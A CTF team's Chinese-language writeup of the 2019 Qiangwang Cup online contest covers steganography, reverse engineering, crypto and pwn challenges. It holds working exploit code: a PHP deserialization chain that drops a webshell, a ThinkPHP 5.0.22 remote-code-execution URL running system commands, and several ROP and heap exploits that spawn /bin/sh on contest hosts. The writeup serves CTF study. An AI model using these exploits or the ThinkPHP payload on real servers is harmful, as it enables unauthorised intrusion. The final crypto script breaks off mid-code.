2019强网杯线上赛writeup

--- by Lilac

[TOC]

题目

Misc

鲲or鳗orGame

网页上的gameboy游戏模拟器

js里面的注释
//var romPath = "laoyanqiang.gb";
打开是张图片

拿gb模拟器打开rom/game.gb
内存c0a2处是Best Score 16位 改成ffff
结算界面变成了flag

强网先锋-打野

图片隐写

:/mnt/d$ zsteg test.bmp --all --limit 2048
[?] 2 bytes of extra data after image end (IEND), offset = 0x269b0e
/usr/lib/ruby/2.5.0/open3.rb:199: warning: Insecure world writable dir /home/pwn/.cargo/bin in PATH, mode 040777
extradata:0         .. ["\x00" repeated 2 times]
imagedata           .. text: ["\r" repeated 18 times]
b1,lsb,bY           .. <wbStego size=120, ext="\x00\x8E\xEE", data="\x1Ef\xDE\x9E\xF6\xAE\xFA\xCE\x86\x9E"..., even=false>
b1,msb,bY           .. text: "qwxf{you_say_chick_beautiful?}"
b2,lsb,bY           .. text: "+UXr\"$!v"
b2,msb,bY           .. text: "i2,C8&k0."
b3,lsb,bY           .. text: "3`p:gyO1S"
b4,lsb,bY           .. text: "\nme&Re'c"
b8,lsb,bY           .. text: ["\r" repeated 18 times]
b1,lsb,bY,prime     .. text: "riI?/1>^J"
b1,msb,bY,prime     .. text: "UmlpFSkMwv"
b2,lsb,bY,prime     .. text: "L#WEtj\"=}"
b2,msb,bY,prime     .. text: "UjVe\"\n8;j"
b3,lsb,bY,prime     .. text: "QE 9)\"IE\""
b3,msb,bY,prime     .. text: "~~\"6QBK-\""
b4,lsb,bY,prime     .. text: "RBRC44T#4$4D52C2"
b4,msb,bY,prime     .. text: "(,\",,,,,"
b5,msb,bY,prime     .. text: "ram9u!J1"
b6,lsb,bY,prime     .. file: GeoSwath RDF
b2,r,lsb,xY         .. text: "UUUUUU9VUUUUUUUUUUUUUUUUUUUUUU"
b2,g,lsb,xY         .. text: "NUUUUUUUU^"

Web

upload

本题抄了一个模板:https://w3layouts.com/innovative-login-form-flat-responsive-widget-template/

注册登陆,发现文件上传,测试仅可上传图片,且只检测文件头。
随便找张图,在末尾添加shellcode,上传。

扫描得到//www.tar.gz,解压得到源代码。

审计tp5\application\web\controller下源码。

//Index.php

public function login_check(){
    $profile=cookie('user');
    if(!empty($profile)){
        $this->profile=unserialize(base64_decode($profile));
        $this->profile_db=db('user')->where("ID",intval($this->profile['ID']))->find();
        if(array_diff($this->profile_db,$this->profile)==null){
            return 1;
        }else{
            return 0;
        }
    }
}

存在反序列化。

寻找可利用的类。Register中存在__destruct()方法,调用this->checker->index()

Profile类中存在__call()方法

//Profile.php

public function upload_img(){
    if($this->checker){
        if(!$this->checker->login_check()){
            $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
            $this->redirect($curr_url,302);
            exit();
        }
    }
    if(!empty($_FILES)){
        $this->filename_tmp=$_FILES['upload_file']['tmp_name'];
        $this->filename=md5($_FILES['upload_file']['name']).".png";
        $this->ext_check();
    }
    if($this->ext) {
        if(getimagesize($this->filename_tmp)) {
            @copy($this->filename_tmp, $this->filename);
            @unlink($this->filename_tmp);
            $this->img="../upload/$this->upload_menu/$this->filename";
            $this->update_img();
        }else{
            $this->error('Forbidden type!', url('../index'));
        }
    }else{
        $this->error('Unknow file type!', url('../index'));
    }
}

public function __call($name, $arguments)
{
    if($this->{$name}){
        $this->{$this->{$name}}($arguments);
    }
}

可以调用Profile类中的任意无参数方法。其中upload_img方法,可以实现更改文件名及其后缀。需要将ext置为truechecker置为false即可触发。

EXP:

<?php
namespace app\web\controller;

class Register
{
    public $checker;
    public $registed;
}

class Profile
{
    public $checker;
    public $filename_tmp;
    public $filename;
    public $upload_menu;
    public $ext;
    public $img;
    public $except;
    public $index;
}

class Index
{
    public $profile;
    public $profile_db;
}

$obj           = new Register();
$obj->checker  = new Profile();
$obj->registed = false;

//刚才上传的图马
//http://117.78.28.89:31424/upload/da5703ef349c8b4ca65880a05514ff89/156005c5baf40ff51a327f1c34f2975b.png
$obj->checker->index   = "upload_img";
$obj->checker->ext= true;
$obj->checker->upload_menu="da5703ef349c8b4ca65880a05514ff89";
//路径
$obj->checker->filename_tmp="../public/upload/da5703ef349c8b4ca65880a05514ff89/156005c5baf40ff51a327f1c34f2975b.png";
$obj->checker->filename="../public/upload/da5703ef349c8b4ca65880a05514ff89/shell.php";

$payload = base64_encode(serialize($obj));
echo $payload."\n";

//TzoyNzoiYXBwXHdlYlxjb250cm9sbGVyXFJlZ2lzdGVyIjoyOntzOjc6ImNoZWNrZXIiO086MjY6ImFwcFx3ZWJcY29udHJvbGxlclxQcm9maWxlIjo4OntzOjc6ImNoZWNrZXIiO047czoxMjoiZmlsZW5hbWVfdG1wIjtzOjU5OiIuLi9wdWJsaWMvdXBsb2FkL2RhNTcwM2VmMzQ5YzhiNGNhNjU4ODBhMDU1MTRmZjg5L3NoZWxsLnBocCI7czo4OiJmaWxlbmFtZSI7czo2MToiLi4vcHVibGljL3VwbG9hZC9kYTU3MDNlZjM0OWM4YjRjYTY1ODgwYTA1NTE0ZmY4OS9qaW5nemhlLnBocCI7czoxMToidXBsb2FkX21lbnUiO3M6MzI6ImRhNTcwM2VmMzQ5YzhiNGNhNjU4ODBhMDU1MTRmZjg5IjtzOjM6ImV4dCI7YjoxO3M6MzoiaW1nIjtOO3M6NjoiZXhjZXB0IjtOO3M6NToiaW5kZXgiO3M6MTA6InVwbG9hZF9pbWciO31zOjg6InJlZ2lzdGVkIjtiOjA7fQ==

Antsword连一下,cat /flag.

Flag:

flag{ce5cb05ff4af0881a044f1d79f59ad2e}

强网先锋-上单

thinkphp5.0.22 RCE
https://paper.seebug.org/770/

payload:

http://117.78.28.89:32422/1/public/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/flag

Flag:

flag{9cdb595d4de827acde9b45bb120615d6}

Reverse

强网先锋-AD

动态调试查看待比较的字符串,发现是一个base64,直接解码得到flag

JustRe4

输入的前10字节为1324225814
输入后覆盖阶段二函数的开始0x60字节为地址0x404148处的60字节
第二阶段应该是个3DES
第二阶段明文0dcc509a6f75849b
flag{13242258140dcc509a6f75849b}

import claripy
import struct
from Crypto.Cipher import DES3

dst = [2213317461, 3967938788, 632, 1078985889, 2311336704, 41165956, 269418496, 1078044677, 1103142912, 257294400, 740574225, 2114974551,
       1078048773, 3591333376, 255861828, 1779056912, 608471104, 612666700, 508, 256901226, 472138769, 1005800, 2369808896, 38282372]
ms = [0, 1, 2, 3, 4, 4, 4, 4, 8, 8, 8, 8, 12, 12, 12, 12]
ns = [2092209401, 3952197289, 4279241742, 1063260902, 2261515592, 4248564421, 4011265610, 1062303302, 1053847116, 140381709, 720130655, 1494727968, 1062307405, 2971086929, 139457038, 1696223075, 592221716, 596417297, 4279242626, 140512749, 4209791593, 4279723633, 2320512090, 4250399447]

# last_byte = 0x5e
# num = 0x1A2B3C4D
last_byte = claripy.BVS('last', 8)
last_byte = last_byte.zero_extend(24)
num = claripy.BVS('num', 32)
solver = claripy.Solver()
tmp = last_byte * 0x1010101
mask = (1 << 128) - 1
for i in range(24):
    if i < 16:
        if i < 4:
            ns[i] = (ms[i] + num) ^ (tmp + ns[i])
        else:
            ns[i] = (ms[i] + ms[i % 4] + num) ^ (tmp + ns[i])
    else:
        ns[i] = ((i + num) ^ (tmp + ns[i]))
    solver.add(ns[i] == dst[i])
part1 = solver.batch_eval([num, last_byte], 1)[0][0]
part1 = hex(part1)[2:]
dstl = 0xFACE0987E6A97C50
dsth = 0x6C97BB90CF0DD520
dst = struct.pack("<Q", dstl) + struct.pack("<Q", dsth)
ct = struct.pack("<I", 0xE6A97C50) + \
    struct.pack("<I", 0xFACE0987) + \
    struct.pack("<I", 0xCF0DD520) + \
    struct.pack("<I", 0x6C97BB90) + \
    struct.pack("<I", 0xB0F69090) + \
    struct.pack("<I", 0xE8A4A67B)
key = struct.pack("<Q", 0x4445434641534641) + \
    struct.pack("<Q", 0x4E43415843584359) + \
    struct.pack("<Q", 0x43585143444B4644)
cipher = DES3.DES3Cipher(key)
pt = cipher.decrypt(ct)
pt = pt[:-pt[-1]]
part2 = pt.decode('ascii')
flag = 'flag{' + part1 + part2 + '}'
print(flag)

webassembly

:::success
:::
XTEA算法

import struct


def xtea_decrypt(block, key):
    XTEA_DELTA = 0x9E3779B9
    XTEA_N = 32

    (pack, unpack) = (struct.pack, struct.unpack)

    (y, z) = unpack("<2L", block)
    k = unpack("<4L", key)

    (sum, delta, n) = 0, XTEA_DELTA, XTEA_N

    sum = (delta * n) & 0xFFFFFFFF
    for i in range(n):
        z = (z - (((y << 4 ^ y >> 5) + y) ^
                  (sum + k[sum >> 11 & 3]))) & 0xFFFFFFFF
        sum = (sum - delta) & 0xFFFFFFFF
        y = (y - (((z << 4 ^ z >> 5) + z) ^ (sum + k[sum & 3]))) & 0xFFFFFFFF
    return pack("<2L", y, z)


ct = [
    0xb4, 0x34, 0x22, 0x73, 0x52, 0x39, 0x9d, 0xf8, 0x3f, 0xff,
    0x01, 0xa9, 0x26, 0xf9, 0xc3, 0x26, 0x89, 0x55, 0xd2, 0xc6,
    0x5e, 0xfe, 0x9b, 0xbe, 0x33, 0xcb, 0xe5, 0xd6, 0xfa, 0xcf,
    0xa2, 0x3d, 0x63, 0x39, 0x33, 0x61, 0x36, 0x7d
]
ct = bytes(ct)
key = b'\x00' * 16

flag = xtea_decrypt(ct[:8], key)
flag += xtea_decrypt(ct[8:16], key)
flag += xtea_decrypt(ct[16:24], key)
flag += xtea_decrypt(ct[24:32], key)
flag += ct[32:]
print(flag)

设备固件

反汇编

opcodes = {
    1: "add", #
    2: "sub",
    3: "cmp",
    4: "jmpi",
    5: "movr", #
    6: 'alw', #
    7: "jmpr", #
    8: "movi", #
    9: "fail", #
    0xa: "movm",
    0xb: "push", #
    0xd: "mul", #
    0xe: "div", # 
    0xf: "lsh", #
    0x10: "rsh", # 
    0xff: "end"
}

code = [8, 0, 0, 0, 32, 0, 8, 0, 1, 0, 0, 0, 8, 0, 2, 0, 1, 0, 3, 0, 1, 0, 0, 0, 4, 1, 22, 0, 0, 0, 8, 0, 11, 0, 0, 0, 8, 0, 12, 0, 0, 0, 1, 0, 12, 0, 11, 0, 3, 0, 11, 0, 1, 0, 1, 0, 11, 0, 2, 0, 4, 2, 252, 255, 0, 0, 8, 0, 3, 0, 8, 0, 8, 0, 4, 0, 6, 0, 8, 0, 9, 0, 16, 0, 15, 0, 9, 0, 3, 0, 8, 0, 10, 0, 36, 0, 1, 0, 9, 0, 10, 0, 1, 0, 9, 0, 12, 0, 10, 0, 5, 0, 1, 0, 13, 0, 5, 0, 9, 0, 5, 0, 6, 0, 5, 0, 16, 0, 6, 0, 4, 0, 11, 0, 7, 0, 1, 0, 3, 0, 6, 0, 7, 0, 1, 0, 1, 0, 2, 0, 4, 1, 233, 255, 0, 0, 4, 2, 1, 0, 0, 0, 255, 0, 0, 0, 0, 0, 9, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0]
s = set()
for i in range(0, len(code), 6):
    opcode = code[i+0]
    check_status = code[i+1]
    op1 = code[i+2] | (code[i+3] << 8)
    if code[i+3] != 0:
        op1 = -((op1 - 1) ^ 0xffff)
    op2 = code[i+4] | (code[i+5] << 8)
    print("{:02x}: {:5s}({})  {:x},{:x}".format(i//6, opcodes[opcode], check_status, op1, op2))

获得flag

username = bytes([0x64, 0x36, 0x65, 0x66, 0x35])

dst = [3163, 3293, 3359, 6336, 6342, 3110, 3698, 3575, 6577, 3393, 3336, 6428, 3289, 3761, 3310, 6776, 3467, 3481, 3428, 3309, 6648, 3681, 6783, 6887, 3878, 6964, 6864, 3452, 4041, 3710, 7182, 7086]

password = []
for i in range(0x20):
    magic = 0x1024 + sum(range(i + 1))
    for c in range(0x100):
        if (c * magic) >> 6 == dst[i]:
            password.append(c)
            break
password = bytes(password)
print("Username: {}".format(username.decode('ascii')))
print("Password: {}".format(password.decode('ascii')))

Pwn

babymimic

给了两个x86和x64的程序,又看到了拟态防御,猜会把输入喂给两个程序,测试了一下发现输出不同时会被检测出来,先尝试在没有多余输出的情况下直接反弹其中一个程序的shell,发现也能被检测出。最后看到两个程序栈溢出长度不同,明白了要用一个payload同时打两个程序

from pwn import *
import hashlib

def proof_of_work():
    p.recvuntil(".hexdigest()=")
    h = p.recv(64)
    print h
    p.recvuntil(".encode('hex')=")
    s = p.recv(10).decode("hex")
    p.recvuntil("skr.encode('hex')=")
    print s
    for c1 in range(0xff,-1,-1):
        for c2 in range(0xff,-1,-1):
            for c3 in range(0xff,-1,-1):
                if hashlib.sha256(s+chr(c1)+chr(c2)+chr(c3)).hexdigest() == h:
                    return s+chr(c1)+chr(c2)+chr(c3)

'''
0x0809ccf4: mov dword ptr [eax], edx; ret;
'''
int80 = 0x0806f300
pop_eax = 0x080a8af6
pop_ebx = 0x080481c9
pop_ecx_pop_ebx = 0x0806e9f2
pop_edx = 0x0806e9cb
add_esp = 0x0806b225 #add esp, 0x100; sub eax, edx; ret;


pop_rax = 0x000000000043b97c
pop_rdx = 0x000000000043d9d5
pop_rdi = 0x00000000004005f6
pop_rsi = 0x0000000000405895
syscall = 0x0000000000461645
#0x0000000000477521: mov qword ptr [rax], rdx; ret;

payload = "a"*0x10 + "\x00"*0x100 + p32(add_esp) + p32(0)
x86_payload = ""
x64_payload = ""

#reverse_shell = ["/bin/cat","./flag_2d5088d4cac1e7d5f935659807a44db8"]
reverse_shell = ["/bin/sh"]
x86_addrs = [0x080DAE00, 0x080DAE00+0x10]
x86_addr = 0x080DAE00+0x60
x64_addrs = [0x6A3500, 0x6A3500+0x10]
x64_addr = 0x6A3500+0x60


for j in range(0,len(reverse_shell)):
    for i in range(0,len(reverse_shell[j])/4+1):
        x86_payload += p32(pop_eax) + p32(x86_addrs[j]+i*4) + p32(pop_edx) + reverse_shell[j][i*4:i*4+4].ljust(4,"\x00") + p32(0x0809ccf4)

x86_payload += p32(pop_eax) + p32(11) + p32(pop_ecx_pop_ebx) + p32(0) + p32(x86_addrs[0]) + p32(pop_edx) + p32(0) + p32(int80) + p32(0x08048930)

for j in range(0, len(reverse_shell)):
    for i in range(0, len(reverse_shell[j])/4+1):
        x64_payload += p64(pop_rax) + p64(x64_addrs[j]+i*8) + p64(pop_rdx) + reverse_shell[j][i*8:i*8+8].ljust(8,"\x00") + p64(0x0000000000477521)

x64_payload += p64(pop_rax) + p64(59) + p64(pop_rdi) + p64(x64_addrs[0]) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(syscall)
print len(x64_payload),len(x86_payload)
x64_payload = x64_payload.ljust(0xfc,"\x90")

payload += x64_payload + p32(0x0804892F) + x86_payload

flag_file = "flag_2d5088d4cac1e7d5f935659807a44db8"
p = remote("49.4.51.149",25391)
#p = process("./_stkof")

skr = proof_of_work()
print skr.encode("hex")
p.sendline(skr.encode("hex"))
print p.recvuntil("teamtoken:")
p.sendline("08c5028f14a51d3336c3e4f80414706d")

p.send(payload)
p.interactive()

045b500501510d5703550357525d5102060106565650525c5305010101550750
flag{4c301c512abbc9b157ee3d4dc1056e14}

babycpp

update_hash 的abs有问题,输入0x80000000后为-8,可以覆盖vtable指针,把string的vtable改成int的vtable,通过来回改string array的vtable以类似类型混淆的方式实现任意地址读写,最后rop执行execve("/bin/sh",NULL,NULL)拿shell。刚好两个vtable的第三个16进制不相同,想覆盖需要猜第4个16进制。

from pwn import *

def new_array(kind):
    p.recvuntil("Your choice:")
    p.sendline("0")
    p.recvuntil("What kind of array do you want:\n1.Int Array\n2.String Array\nYour choice:")
    p.sendline(str(kind))

def update(h, idx, new_hash):
    p.recvuntil("Your choice:")
    p.sendline("3")
    p.recvuntil("Input array hash:")
    p.send(h + "\x00")
    p.recvuntil("Input idx:")
    p.sendline(str(idx))
    p.recvuntil("Input hash:")
    p.send(new_hash)

def set_string_element(h, idx, length, content):
    p.recvuntil("Your choice:")
    p.sendline("2")
    p.recvuntil("Input array hash:")
    p.send(h + "\x00")
    p.recvuntil("Input idx:")
    p.sendline(str(idx))
    p.recvuntil("Input the len of the obj:")
    p.sendline(str(length))
    p.recvuntil("Input your content:")
    p.send(content)

def set_int_element(h, idx, num):
    p.recvuntil("Your choice:")
    p.sendline("2")
    p.recvuntil("Input array hash:")
    p.send(h + "\x00")
    p.recvuntil("Input idx:")
    p.sendline(str(idx))
    p.recvuntil("Input val:")
    p.sendline(num)

def show_int(h, idx):
    p.recvuntil("Your choice:")
    p.sendline("1")
    p.recvuntil("Input array hash:")
    p.send(h + "\x00")
    p.recvuntil("Input idx:")
    p.sendline(str(idx))
    p.recvuntil("The value in the array is ")
    addr = p.recvuntil("\n")
    print addr[0:len(addr)-1]
    return int(addr,16)

def show_str(h, idx):
    p.recvuntil("Your choice:")
    p.sendline("1")
    p.recvuntil("Input array hash:")
    p.send(h + "\x00")
    p.recvuntil("Input idx:")
    p.sendline(str(idx))
    p.recvuntil("Content:")
    addr = p.recv(6).ljust(8,"\x00")
    return u64(addr)

def update_str_element(h, idx, content):
    p.recvuntil("Your choice:")
    p.sendline("2")
    p.recvuntil("Input array hash:")
    p.send(h + "\x00")
    p.recvuntil("Input idx:")
    p.sendline(str(idx))
    p.recvuntil("Input your content:")
    p.send(content)

#aslr off
offset = 0x555555768ff0 - 0x555555768e70
offset2 = 0x555555768ff0 - 0x555555768ea0
main_stack =    0x7FFFFFFFDE78
environ_stack = 0x7fffffffdf68
offset3 = environ_stack - main_stack

while True:
    try:        
        #p = process("./babycpp")
        p = remote("49.4.15.125", 32207)
        new_array(1)
        new_array(2)
        set_string_element("\x01", 0, 0x20, "1"*0x20)
        update("\x01", 2147483648, "\xe0\x5c")
        heap_addr = show_int("\x01", 0)
        print hex(heap_addr)
        set_int_element("\x01", 1, hex(heap_addr - offset))
        update("\x01", 2147483648, "\x00\x5d")

        func_addr = show_str("\x01", 1)
        elf_base = func_addr - 0x10C6
        print hex(func_addr)
        print "elf_base: " + hex(elf_base)
        malloc_got = elf_base + 0x201FB8
        print "malloc_got: " + hex(malloc_got)
        update("\x01", 2147483648, "\xe0\x5c")
        set_int_element("\x00", 0, hex(malloc_got))
        set_int_element("\x01", 2, hex(heap_addr - offset2))
        update("\x01", 2147483648, "\x00\x5d")

        libc_malloc = show_str("\x01", 2)
        libc_base = libc_malloc - 0x097070
        print "libc_base: " + hex(libc_base)
        sh = libc_base + 0x1B3E9A
        system = libc_base + 0x4F440
        environ = libc_base + 0x3EE098
        pop_rdi = libc_base + 0x00002155f
        pop_rsi = libc_base + 0x0000023e6a
        pop_rdx = libc_base + 0x0000000000001b96
        execve = libc_base + 0xE4E30
        print "/bin/sh: " + hex(sh)
        print "system: " + hex(system)
        print "execve: " + hex(execve)
        print "environ: " + hex(environ)

        update("\x01", 2147483648, "\xe0\x5c")
        set_int_element("\x00", 0, hex(environ))
        set_int_element("\x01", 2, hex(heap_addr - offset2))
        update("\x01", 2147483648, "\x00\x5d")
        stack = show_str("\x01", 2)
        print "stack: " + hex(stack)
        set_int_element("\x00", 0, hex(stack - offset3))
        set_int_element("\x00", 1, hex(0x100))
        update_str_element("\x01", 2, p64(pop_rdi) + p64(sh) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(execve))
        break
    except:
        p.close()

#gdb.attach(p)
#raw_input()
p.interactive()

Your choice:$ 4
Bye!
$ ls
babycpp
bin
dev
flag
lib
lib32
lib64
$ cat flag
flag{9a3a902d2b3e980e0d7b41d756faec03}
$ 
[*] Interrupted
[*] Closed connection to 49.4.15.125 port 32207

Random

1.利用add_note里在tomorrow增加add_note的功能在game list上留下一个没被删除的节点,但节点本身被释放进了fastbin
2.把这个fastbin在第二天分配给其他节点,这样game list上有两个相同节点,执行完之后出现double free,第一次free时保证fastbin为空,否则game list的遍历会出问题。
3.之后把double free的fastbin分配给add_note函数,创建一个note,劫持fastbin的fd,设置为可控位置note array,note array上事先要有一个大小为0x21的note
4.把可控位置的fastbin分配给add_note函数,创建note,这样就可以修改note array上的指针了,利用update、view任意地址读写
5.操作是rand的,但可以预测,需要凑出一个合适的操作序列

from pwn import *
import ctypes

libc = ctypes.CDLL("./libc-2.23.so")
libc.srand(None)
actions = []

for i in range(0x30):
    x = libc.rand()
    if x%4 == 0:
        actions.append("add")
        print i
    elif x%4 == 1:
        actions.append("update")
    elif x%4 == 2:
        actions.append("delete")
    else:
        actions.append("view")

print actions

def choice_pass():
    x = p.recvuntil("(Y/N)\n")
    p.sendline("N")

def add_note(size, content, x):
    p.recvuntil("Do you want to add note?(Y/N)\n")
    p.sendline("Y")
    p.recvuntil("Input the size of the note:\n")
    p.sendline(str(size))
    p.recvuntil("Input the content of the note:\n")
    p.send(content)
    p.recvuntil("Do you want to add another note, tomorrow?(Y/N)\n")
    p.sendline(x)

def view(idx):
    p.recvuntil("Do you want to view note?(Y/N)\n")
    p.sendline("Y")
    p.recvuntil("Input the index of the note:\n")
    p.sendline(str(idx))
    return u64(p.recv(6).ljust(8,"\x00"))

def update(idx, content):
    p.recvuntil("Do you want to update note?(Y/N)\n")
    p.sendline("Y")
    p.recvuntil("Input the index of the note:")
    p.sendline(str(idx))
    p.recvuntil("Input the new content of the note:\n")
    p.send(content)


elf = ELF("./libc-2.23.so")
#p = process("./random")
p = remote("49.4.15.125",31697)
p.recvuntil("Please input your name:\n")
p.send("1"*8)
p.recvuntil("1"*8)
addr = u64(p.recv(6).ljust(8,"\x00"))
elf_base = addr - 0xb90
print hex(elf_base)
print hex(elf_base + 0x203168)
print hex(elf_base + 0x11ac)
print hex(elf_base + 0x203190)

p.sendline("10")

p.recvuntil("How many times do you want to play this game today?(0~10)\n")#1
p.sendline("8")
add_note(0x21, "A1Lin\n", "Y")
for i in range(7):
    choice_pass()

p.recvuntil("How many times do you want to play this game today?(0~10)\n")#2
p.sendline("7") #double free
for i in range(9):
    choice_pass()   

p.recvuntil("How many times do you want to play this game today?(0~10)\n")#3
p.sendline("2") #hijck fastbin
add_note(17, p64(elf_base+0x203180) + "\n", "N")
choice_pass()

p.recvuntil("How many times do you want to play this game today?(0~10)\n")#4
p.sendline("6")
choice_pass()
add_note(0x21, "A1Lin\n", "N")
choice_pass()
add_note(0x21, "A1Lin\n", "N")
for i in range(2):
    choice_pass()

p.recvuntil("How many times do you want to play this game today?(0~10)\n")#5
p.sendline("5")
for i in range(5):
    choice_pass()

p.recvuntil("How many times do you want to play this game today?(0~10)\n")#6
p.sendline("10")
add_note(17, p64(elf_base + 0x2031a0) + p64(0x20)[0:6] + "\n", "N")

update(1, p64(elf_base + 0x0203018) + "\n")
addr = view(2)
print "free: " + hex(addr)
elf.address = addr - elf.symbols["free"]
print "libc: " + hex(elf.address)
print hex(elf_base + 0x203018)
update(1, p64(elf_base + 0x203018) +  p64(0x20)[0:6] + "\n")#free_got
choice_pass()
choice_pass()
choice_pass()
update(2, p64(elf.address + 0xf1147) + "\n")
#print p.recv()
#gdb.attach(p)
p.interactive()

'''
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xcd0f3 execve("/bin/sh", rcx, r12)
constraints:
  [rcx] == NULL || rcx == NULL
  [r12] == NULL || r12 == NULL

0xcd1c8 execve("/bin/sh", rax, r12)
constraints:
  [rax] == NULL || rax == NULL
  [r12] == NULL || r12 == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

0xf66f0 execve("/bin/sh", rcx, [rbp-0xf8])
constraints:
  [rcx] == NULL || rcx == NULL
  [[rbp-0xf8]] == NULL || [rbp-0xf8] == NULL
'''

强网先锋-AP

堆溢出直接泄露puts地址,然后堆溢出覆盖puts为system拿shell

from pwn import *

def get(length, name):
    p.recvuntil("Choice >> \n")
    p.sendline("1")
    p.recvuntil("The length of my owner's name:\n")
    p.sendline(str(length))
    p.recvuntil("Give me my owner's name:\n")
    p.send(name)

def open(idx):
    p.recvuntil("Choice >> \n")
    p.sendline("2")
    p.recvuntil("Please tell me which tickets would you want to open?\n")
    p.sendline(str(idx))
    p.recvuntil("I'm a magic tickets.I will tell you who is my owner!\n")

def change(idx, length, name):
    p.recvuntil("Choice >> \n")
    p.sendline("3")
    p.recvuntil("Please tell me which tickets would you want to change it's owner's name?\n")
    p.sendline(str(idx))
    p.recvuntil("The length of my owner's name:")
    p.sendline(str(length))
    p.recvuntil("Give me my owner's name:\n")
    p.send(name)

#p = process("./task_main")
libc = ELF("./libc-2.23.so")
p = remote("117.78.39.172",32146)
get(0x10,"A1Lin1")
get(0x10,"A1Lin2")
change(0,0x21, "a"*0x20)
open(0)
p.recvuntil("a"*0x20)
heap_addr = u64(p.recv(6).ljust(8,"\x00"))
print hex(heap_addr)
change(0,0x29, "a"*0x28)
open(0)
p.recvuntil("a"*0x28)
puts_addr = u64(p.recv(6).ljust(8,"\x00"))
libc.address = puts_addr - libc.symbols["puts"]
change(0,0x29+8, "a"*0x10 + p64(0) + p64(0x21) + p64(heap_addr) + p64(libc.symbols["system"]))
change(1,9,"/bin/sh\x00")
open(1)
print hex(libc.address)
#gdb.attach(p)
p.interactive()

Crypto

randomstudy

  • step1 暴力猜测系统时间种子
  • step2 java 伪随机数预测
  • step3 题目漏洞,直接利用step1中的种子预测随机数。
    脚本如下:

    import random
    import time
    from pwn import *
    import gmpy2
    from Crypto.Util.number import long_to_bytes
    context.log_level = "debug"
    import hashlib
    def proof(prefix,hexdig):
      for a in range(0,256):
          for b in range(0,256):
              for c in range(0,256):
                  skr = prefix + chr(a) +chr(b) + chr(c)
                  if hashlib.sha256(skr).hexdigest()==hexdig:
                      return skr.encode("hex")
    ip = '119.3.245.36'
    port = 23456
    token = "08c5028f14a51d3336c3e4f80414706d"
    io = remote(ip,port)
    io.recvline()
    hexdig = io.recvline().split("=")[1].strip()
    prefix = io.recvline().split("=")[1].strip().decode("hex")
    io.sendlineafter("skr.encode('hex')=",proof(prefix,hexdig))
    io.sendlineafter("[+]teamtoken:",token)
    io.recvuntil("[-]")
    seed_tem = int(time.time())
    print seed_tem
    random.seed(seed_tem)
    io.sendline(str(random.randint(0,2**64)))
    second = 1
    while "fail" in io.recvline():
      temp = seed_tem+second
      random.seed(temp)
      for i in range(second):
          random.randint(0,2**64)
      io.sendlineafter("[-]",str(random.randint(0,2**64)))
      second = second+1
    io.recvuntil("[+]Generating challenge 2\n")
    v1 = int(io.recvline().split("[-]")[1].strip())
    v2 = int(io.recvline().split("[-]")[1].strip())
    def replicateState(nextN,nextM):
      temN = nextN
      temM = nextM
      seed = []
      multiplier = 0x5DEECE66D
      addend = 0xB
      mask = (1L << 48) - 1
      upperMOf48Mask = ((1L << 32) - 1) << (48 - 32)
      oldSeedUpperN = (nextN << (48 - 32)) & mask
      newSeedUpperM = (nextM << (48 - 32)) & mask
      oldSeed = oldSeedUpperN
      for i in range(oldSeed,(oldSeedUpperN | ((1L << (48 - 32)) - 1))+1):
          newSeed = (i * multiplier + addend) & mask
          if ((newSeed & upperMOf48Mask) == newSeedUpperM):
              seed.append(newSeed)
      if seed:
          pre = ((seed[0] * multiplier + addend)& mask)>>16
          if len(bin(pre))-2==32 and bin(pre)[2]=='1':
              return pre-1
          return pre
      nextN = -(0xffffffff-nextN)
      oldSeedUpperN = (nextN << (48 - 32)) & mask
      newSeedUpperM = (nextM << (48 - 32)) & mask
      oldSeed = oldSeedUpperN
      for i in range(oldSeed,(oldSeedUpperN | ((1L << (48 - 32)) - 1))+1):
          newSeed = (i * multiplier + addend) & mask
          if ((newSeed & upperMOf48Mask) == newSeedUpperM):
              seed.append(newSeed)
      if seed:
          pre = ((seed[0] * multiplier + addend)& mask)>>16
          if len(bin(pre))-2==32 and bin(pre)[2]=='1':
              return pre-1
          return pre
      nextN = temN
      nextM = -(0xffffffff-nextM)
      oldSeedUpperN = (nextN << (48 - 32)) & mask
      newSeedUpperM = (nextM << (48 - 32)) & mask
      oldSeed = oldSeedUpperN
      for i in range(oldSeed,(oldSeedUpperN | ((1L << (48 - 32)) - 1))+1):
          newSeed = (i * multiplier + addend) & mask
          if ((newSeed & upperMOf48Mask) == newSeedUpperM):
              seed.append(newSeed)
      if seed:
          pre = ((seed[0] * multiplier + addend)& mask)>>16
          if len(bin(pre))-2==32 and bin(pre)[2]=='1':
              return pre-1
          return pre
      nextN = -(0xffffffff-temN)
      nextM = -(0xffffffff-temM)
      oldSeedUpperN = (nextN << (48 - 32)) & mask
      newSeedUpperM = (nextM << (48 - 32)) & mask
      oldSeed = oldSeedUpperN
      for i in range(oldSeed,(oldSeedUpperN | ((1L << (48 - 32)) - 1))+1):
          newSeed = (i * multiplier + addend) & mask
          if ((newSeed & upperMOf48Mask) == newSeedUpperM):
              seed.append(newSeed)
      if seed:
          pre = ((seed[0] * multiplier + addend)& mask)>>16
          if len(bin(pre))-2==32 and bin(pre)[2]=='1':
              return pre-1
          return pre
    v3 = replicateState(v1,v2)
    io.sendlineafter("[-]",str(v3))
    io.recvuntil("[+]Generating challenge 3\n")
    io.sendlineafter("[-]",str(random.getrandbits(32)))
    io.recv()
    io.recv()
    

    ### copperstudy

  • 关于coppersmith rsa相关攻击,攻击代码如下:

from pwn import *
import gmpy2
from Crypto.Util.number import long_to_bytes
context.log_level = "debug"
import hashlib
def proof(prefix,hexdig):
    for a in range(0,256):
        for b in range(0,256):
            for c in range(0,256):
                skr = prefix + chr(a) +chr(b) + chr(c)
                if hashlib.sha256(skr).hexdigest()==hexdig:
                    return skr.encode("hex")
ip = '119.3.245.36'
port = 12345
token = "08c5028f14a51d3336c3e4f80414706d"
io = remote(ip,port)
io.recvline()
hexdig = io.recvline().split("=")[1].strip()
